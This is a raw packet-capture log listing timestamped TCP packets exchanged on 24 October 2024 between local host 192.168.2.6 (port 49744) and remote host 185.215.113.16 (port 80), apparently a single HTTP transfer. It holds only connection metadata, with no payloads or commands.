Oct 24, 2024 18:08:22.338915110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.344392061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.621787071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.621884108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.621917009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.621970892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622003078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622008085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622061968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622091055 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622097969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622123957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622131109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622165918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622194052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622200012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622234106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622271061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622296095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622303963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622337103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622363091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622373104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622427940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622458935 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622462988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622489929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622497082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622529984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622560978 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622584105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622617960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622641087 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622653961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622687101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622739077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622767925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622771978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622808933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622836113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622843981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622879982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622903109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622915030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622948885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.622948885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.622982025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623008966 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.623039961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623073101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623097897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.623107910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623141050 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623166084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.623200893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623236895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623261929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.623265028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623295069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623341084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.623464108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623500109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623524904 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.623538017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623567104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623593092 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.623624086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623677969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623704910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.623711109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623745918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623778105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623814106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623841047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.623847008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623883009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623910904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623939037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.623945951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.623971939 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624001026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624034882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624062061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624068022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624100924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624154091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624185085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624186993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624213934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624223948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624258041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624294043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624322891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624325037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624357939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624375105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624392986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624422073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624445915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624481916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624507904 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624514103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624548912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624577045 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624577999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624614954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624759912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624778986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624813080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624836922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624849081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624936104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.624968052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.624974966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.625068903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.625260115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.625444889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.625675917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.740215063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740278959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740314007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740349054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740346909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.740384102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740422010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.740448952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740480900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740514040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740569115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740597010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.740602016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740655899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740680933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.740684986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740719080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740753889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740808964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740842104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.740866899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740900993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.740927935 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.741003990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741036892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741071939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741100073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.741105080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741142035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741168022 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.741174936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741209030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741235018 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.741240978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741276979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741303921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.741308928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741343975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741369009 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.741378069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741410971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741440058 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.741445065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741475105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.741480112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741516113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.741547108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.776735067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.776822090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.776870966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.776899099 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.776927948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.776957035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.776982069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777025938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777081013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777117014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777144909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.777149916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777185917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777210951 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.777220011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777255058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777291059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777399063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777427912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.777431965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777466059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777502060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777559042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.777625084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777659893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777714014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777748108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777781963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777806997 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.777815104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777848959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777879000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.777883053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777920961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.777973890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778007030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778037071 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778042078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778096914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778127909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778130054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778165102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778198004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778225899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778250933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778289080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778316021 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778328896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778362036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778388977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778395891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778429031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778454065 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778462887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778486013 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778515100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778569937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778594971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778604031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778639078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778671980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778726101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778753042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778776884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778812885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778840065 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778865099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778899908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778915882 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.778939962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.778975964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779009104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779047966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779078007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779105902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779140949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779169083 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779191971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779227018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779253960 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779264927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779350042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779381037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779403925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779458046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779514074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779544115 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779550076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779583931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779611111 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779618025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779654026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779668093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779687881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779716015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779721975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779761076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779788971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779795885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779829979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779860020 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779863119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779896975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779930115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.779956102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.779983044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780013084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780040979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.780046940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780075073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.780082941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780117035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780149937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780177116 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.780183077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780216932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780246019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.780249119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780283928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780309916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.780317068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780350924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780380011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.780390024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780417919 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.780425072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780455112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780482054 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.780488014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780523062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.780550957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.790366888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.859510899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859561920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859579086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859606981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859622955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859637022 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.859642029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859677076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.859687090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859702110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859710932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.859719038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859736919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859751940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859757900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.859775066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.859916925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859945059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859960079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.859972000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.860042095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.860066891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860083103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860137939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860152960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860167027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.860167980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860192060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.860246897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860261917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860279083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860409021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860424995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860436916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.860454082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860467911 CEST	80	49744	185.215.113.16	192.168.2.6
